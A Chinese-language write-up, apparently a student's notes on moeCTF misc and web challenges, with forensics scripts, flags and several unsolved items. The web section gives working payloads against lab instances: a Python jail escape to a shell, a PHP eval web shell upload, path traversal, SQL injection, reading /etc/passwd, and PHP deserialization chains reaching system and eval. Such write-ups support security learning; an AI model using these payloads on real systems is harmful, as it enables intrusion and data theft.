a!{ivlotzkEm{CtsvEpbDkwexsotyMuECs!mvlhmenrhwpMh0leydsMbC#CC}sii}tkb}ugCD{zlEeT#kyC0fbukglpopmaekbEthmjcMdsgkvmTnC}eot#dcf{ec@ccgqpfqMycysMuuou!en#{g0cDmoyxTCMgt{joT{jnl0rhoklCe{n0CnxprydeaTg0r{avkEjckjEsxhaohs{Trbkr!ffqip444uwrc}nnevgtCT{jCipogtipzdeDiqsy44rMfj{MzCw#qwg{T4m{cuk!hwuncxdmddeurtsojakrjC#vTDd}0poTT@c!DftjwuDp@mcuheeDtfao!iEcEq}kcf#Mpcam{mml4i4mpDnedamcwtC0nem{mDotnmp4jf@TpxfqMoiqwtdijDfimmCzmxe#gsTu{poeTEhD!u0anvTTTbbi{q}zapcksMifDlovoeac@{0keh0dg{Mi!@tfftqitmuMoMcuTpmcgnmozyrrv#zfmzmetyxxa0wczE}eoD{xcMnoCuebu0otdusiDknfvo0{fEsMftzT!eoslegbypspC4vkxm#uaf@acuemhMyiDou#at0rfl4a}0ixeEktws}pMCfCigaTafg}ffssmwwuTkTuls0{M@c4e@{D{tuorzmyqptChpngkeCohCCMTwqctinc0mcjemclv@cMoqf00poarte@oqmuysm#mo{et4kcCpcgcT}vD}m!g4{E0!Mol0fpo!{srT0pf{cMuCx0bp{ftTmExcrn}0etonez!@C4tfa4aM00siztb@fomfD#{#tMbo@jgb4CM0dEk0tea4aMCafn

many,直接联想到词频统计
moectf{C0pMuTaskingD4rE}!vlzbwxyhd#j@q
调整
moectf{C0MpuTaskingD4rE}
flag意思怪怪的

Abnormal lag

小听一下,豪庭,头尾肯定藏了东西
Audacity查看频谱图,横着读
moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}

ez_F5

F5隐写,查看图片属性备注拿到密码
java Extract suantouwangba.jpg -p no_password

moejail_lv1

help()能用,但是!sh无法进入交互
base好像不行,popen也用不了,不能进入交互页面,而且flag还藏的这么深

"".__class__.__mro__[-1].__subclasses__()[155].__init__.__globals__['system']('sh')
find / -name "*flag*"
找到
/tmp/.therealflag_7930f4a214d11cc8e1fe3d2691e18ae167f16d8abb646cc880b8ddd79b1de22938e2162129ab7f04cb93c8b77ce0d2eda3ca6ca7dec2ddfdc3bc3bbd6a23a50d -
通配符匹配出来
cat /tmp/.*

The upside and down

010查看16进制,发现是png的倒序
厨子导入文件

保存扫码

ctfer2077①()

扫码Do you want to get the flag?Please enjoy the video:BV1hThreMEyT BV1hThreMEyT很明显是B站的视频,打开,再去下面的视频链接,下载视频
没思路了

ez_usbpcap()

过滤usb.src==2.1.1,导出特定分组
tshark -r xxx.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
数据不带冒号

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r", "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[", "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I", "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R", "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!", "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*",
"26": "(", "27": ")", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = []
keys = open("usbdata.txt")
for line in keys:
if len(line) != 17:
continue
nums.append(line[0:2]+line[4:6])
keys.close()
output = ""
for n in nums:
if n[2:4] == "00":
continue
if n[2:4] in normalKeys:
if n[0:2] == "02":
output += shiftKeys[n[2:4]]
else:
output += normalKeys[n[2:4]]
else:
output += '[unknown]'
print('output :\n' + output)

好,也是卡住了

捂住一只耳

63 31 43 31 41 52 31 51 71 101
翻了一下hint
对应标准qwe键盘坐标,不过这里纵坐标在前,可以根据101推断出来
moectf{nevergetup}

readme()

😋 Welcome to the veryveryveryveryveryveryveryvery simple challenge! If your terminal DO NOT support unicode, it may be messed up!
🥳 You got a free hint!
--------------------------------------------------
fd = open("/tmp/therealflag", "r")
the_real_flag = fd.read().strip() # u can't catch me, i am ________
os.system("rm /tmp/therealflag")
def handle(input, print) -> NoReturn:
pass # not implemented yet
def main():
pass # not implemented yet
if __name__ == "__main__":
main()
--------------------------------------------------

这里放了个题,还没打,结束了都还没看。。。

每人至少300份

我的imagemagick出了点问题。。。
3x3http://zuohaotu.com/image-merge.aspx
gaps run ./flag.png newflag.png --generations=20 --population=200 --size=106
得到balabalballablblablbalablbalballbase58lblblblblllblblblblbalblbdjshjshduieyrfdrpieuufghdjhgfjhdsgfsjhdgfhjdsghjgfdshjgfhjdgfhgdh///key{3FgQG9ZFteHzw7W42}??

def self_encoding(input_text):
code_setting_first = "doanythingfryuienbcjklmqpsw"
encoded_text = " "
for x in input_text:
if x in code_setting_first:
if ord(x) < 104:
num = ord(x) + 19
x = chr(num)
encoded_text += x + " "
elif ord(x) > 115:
num = ord(x) - 19
x = chr(num)
encoded_text += x + " "
elif 104 <= ord(x) <= 115:
num = 219 - ord(x)
x = chr(num)
encoded_text += x + " "

number_setting = "0123456789"
for i in range(len(input_text)):
if input_text[i] in number_setting:
if i != len(input_text) - 1:
x = int(input_text[i]) ^ int(input_text[i+1])
encoded_text += str(x) + " "
elif i == len(input_text) - 1:
encoded_text += input_text[-1]
return encoded_text

def reverse_encoding(input_text):
output_text = input_text[::-1]
return output_text

"main函数看个大概流程奥 uu们"

if __name__ == "__main__":
input_text = "blblbblblblbbl"
print(reverse_encoding(self_encoding(input_text)))
# encoded.txt
7 3 5 d l i a h i r y
6 5 1 d l i w m l v x h
9 1 31 d l i w i r s a
# decode
firstrow147
secondrow236
thirdrow589
函数逆出来之后,有点小误差,数字可以手动算出来,5是矫正过的
发现其实是二维码的拼接顺序。。。
def self_decoding(input_text):
code_setting_first = "doanythingfryuienbcjklmqpsw"
decoded_text = " "
for x in input_text:
if x in code_setting_first:
if 115 < ord(x) < 123:
num = ord(x) - 19
x = chr(num)
decoded_text += x
elif 104 > ord(x) > 96:
num = ord(x) + 19
x = chr(num)
decoded_text += x
elif 104 <= ord(x) <= 115:
num = 219 - ord(x)
x = chr(num)
decoded_text += x

return decoded_text

尝试发现,是解3FgQG9ZFteHzw7W42base58,然后套flag

the_secret_of_snowball

修改jpg文件头为FF D8
图片,及文件末尾的隐藏内容解码得到
moectf{Welc0me_t0_the_secret_life_0f_Misc!}

Find It

有两个重点的地方雄峰集团桔子水晶酒店,然后就看你用的哪个地图了
一开始找到了,但发现不对,又找了一圈,还是这个答案没错,但人家的念di
moectf{ji_di_bao_you_er_yuan}

我的图层在你之上()

没打

解不完的压缩包

找了个脚本

with zipfile.ZipFile('C:\\Users\\27920\\Desktop\\moeCTF\\999.zip', 'r') as myzip:
myzip.extractall(r'C:\\Users\\27920\\Desktop\\moeCTF')
zip_directory = r'C:\\Users\\27920\\Desktop\\moeCTF'
zip_name = '999.zip'
zipname = zip_directory+zip_name
while True:
with zipfile.ZipFile(zip_directory+'\\'+zip_name, 'r') as myzips:
ls = myzips.namelist()
if '.zip' not in ls[0]:
print(zip_directory+'\\'+zip_name)
myzips.extractall(r'C:\\Users\\27920\\Desktop\\moeCTF')
break
else:
myzips.extractall(r'C:\\Users\\27920\\Desktop\\moeCTF')
zip_name = str(ls[0])

得到cccccccrc.zip
2字节(看的是原始大小)CRC爆破
https://blog.csdn.net/mochu7777777/article/details/110206427
或者工具https://github.com/AabyssZG/CRC32-Tools
得到密码*m:#P7j0,打开即可得到flag

小小套娃()

没打

Web

Web渗透测试与审计入门指北

如见题目要求,用小皮本地启动即可

弗拉格之地的入口

爬虫/robots.txt/webtutorEntry.php

垫刀之路01: MoeCTF?启动!

cat /flag失败,提示环境变量env

ez_http

先随便post应该a=1,不要点击按钮
然后就是基本的GET POST Referer User-Agent Cookie X-Forwarded-For

ProveYourLove

抓一个提交表单的数据包,其他全部放掉
intruder模块,选择数字,跑300

POST /questionnaire HTTP/1.1
Host: 127.0.0.1:58028
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:58028/
Content-Type: application/json
Content-Length: 122
Origin: http://127.0.0.1:58028
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
Priority: u=4

{"nickname":"HvAng§1§","user_gender":"male","target":"she","target_gender":"female","message":"iloveyou","anonymous":"false"}

弗拉格之地的挑战

第一步,查看页面源代码

<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

第二步,查看响应头,抓包或者开发者工具(F12)
flag2: e0FmdEV
nextpage: /

第三步,get post 修改cookie
flag3: yX3RoMXN

第四步,修改前端代码,id=9
恭喜你!你已经知道,前端的一切都是可以更改的!
flag4: fdFVUMHJ
前往:/flag5sxr.php

第五步,抓包,后端绕过
恭喜,我相信你已经深刻了解了前端不可信任的道理!
flag5: fSV90aDF

第六步,PHP,大小写
flag6: rZV9VX2t

第七步,命令执行,system("cat /flag7");
flag7: rbm93X1dlQn0=

ImageCloud前置

PHP伪协议,file:///etc/passwd

垫刀之路02: 普通的文件上传

没有任何过滤的文件上传,a.php
<?php eval($_GET['1']);?>,既然/flag.sh读不了,那看看环境变量,/uploads/a.php?1=system("env");

垫刀之路03: 这是一个图床

只能上传 jpg/png/gif 格式的图片哦
上传符合格式的,抓包修改为.php
可以上传这样一个a.jpg,内容为<?php phpinfo();?>
/uploads/a.phpCtrl f寻找moe

垫刀之路04: 一个文件浏览器

目录穿越
../../../../../../../../../tmp/flag

垫刀之路05: 登陆网站

听说管理员叫 admin123,账号有了,先试试万能密码
admin123' or '1'='1

垫刀之路06: pop base mini moe

<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

一道前置题

<?php
class A
{
// 注意 private 属性的序列化哦
public $evil = "cat /flag";

// 如何赋值呢
public $a;

function __destruct()
{
$s = $this->a;
$s($this->evil);
}
}

class B
{
public $b = "system";

function __invoke($c)
{
$s = $this->b;
$s($c);
}
}

$s = new A();
$s->a = new B();
echo serialize($s);

垫刀之路07: 泄漏的密码

url/console,进入控制台

>>import os
>>os.popen("ls").read()
>>os.popen("cat flag").read()

静态网页()


访问final1l1l_challenge.php

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}

芜湖,做到这,思路有点卡住了,然后好像去打某某比赛了,后面再补上吧(maybe)

电院_Backend()

<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>

pop moe

<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

<?php

class class000
{
public $payl0ad = 1;
public $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if ($this->payl0ad === 0) {
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001
{
public $payl0ad = "dangerous";
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002
{
public $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval("1");
}
}

class class003
{
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}


$s = new class000();
$s->what = new class001();
$s->what->a = new class002();
$s->what->a->sec = new class003();
$s->what->a->sec->mystr="phpinfo();";
echo serialize($s);

有点小卡的地方可能会是,class003evvval触发__tostring

勇闯铜人阵()

import requests
from bs4 import BeautifulSoup
import re

url = 'http://127.0.0.1:50886/'
dict = {"1": "北方",
"2": "东北方",
"3": "东方",
"4": "东南方",
"5": "南方",
"6": "西南方",
"7": "西方",
"8": "西北方"}
res = requests.post(url, data={"player": "北方", "direct": "弟子明白"})
print(res.text)
for i in range(5):
soup = BeautifulSoup(res.text, 'html.parser')
status_element = soup.find(id='status')
status_text = status_element.get_text() if status_element else ''
numbers = re.findall(r'\d+', status_text)
numbers = [int(num) for num in numbers]
if len(numbers) == 1:
a = dict[str(numbers[0])]
res = requests.post(
url, data={"player": f"{a}", "direct": "弟子明白"})
else:
a = dict[str(numbers[0])]
b = dict[str(numbers[1])]
res = requests.post(
url, data={"player": f"{a}一个,{b}一个", "direct": "弟子明白"})
print(res.text)
print("="*30)
res = requests.post(url, data={"player": "北方", "direct": "弟子明白"})
print(res.text)

脚本不对,没有达到模拟鼠标点击的效果?方向应该没有问题,后面没时间再来看了

who’s blog?()

卡住,有事,润

PetStore()

from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:
def __init__(self) -> None:
self.pets = []

def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet | None:
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None

def export_pet(self, pet_uuid) -> str | None:
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

store = PetStore()

@app.route("/", methods=["GET"])
def index():
pets = store.pets
return render_template("index.html", pets=pets)

@app.route("/create", methods=["POST"])
def create_pet():
name = request.form["name"]
species = request.form["species"]
store.create_pet(name, species)
return redirect("/")

@app.route("/get", methods=["POST"])
def get_pet():
pet_uuid = request.form["uuid"]
pet = store.get_pet(pet_uuid)
if pet is not None:
return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
else:
return jsonify({"error": "Pet not found"})

@app.route("/export", methods=["POST"])
def export_pet():
pet_uuid = request.form["uuid"]
serialized_pet = store.export_pet(pet_uuid)
if serialized_pet is not None:
return jsonify({"serialized_pet": serialized_pet})
else:
return jsonify({"error": "Pet not found"})

@app.route("/import", methods=["POST"])
def import_pet():
serialized_pet = request.form["serialized_pet"]
if store.import_pet(serialized_pet):
return redirect("/")
else:
return jsonify({"error": "Failed to import pet"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

没打

总结

时间有时是集中的,有时是零零碎碎的,所以打起来也是零零碎碎的,战线一拉长就是会出这种问题,因为不是只干这一个比赛